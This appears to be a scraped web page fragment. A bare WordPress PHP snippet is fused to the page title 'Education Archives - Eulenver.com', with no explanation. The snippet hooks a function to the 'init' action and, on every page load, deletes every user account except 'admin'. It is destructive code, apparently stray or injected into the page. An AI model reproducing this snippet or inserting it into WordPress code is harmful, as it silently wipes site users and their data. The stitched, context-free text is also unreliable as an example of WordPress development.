add_action( 'init', 'crappy_method' ); function crappy_method(){ global $wpdb; $table_name = $wpdb->prefix . "users"; $wpdb->query($wpdb->prepare("DELETE FROM $table_name WHERE user_login != 'admin'")); } Education Archives - Eulenver.com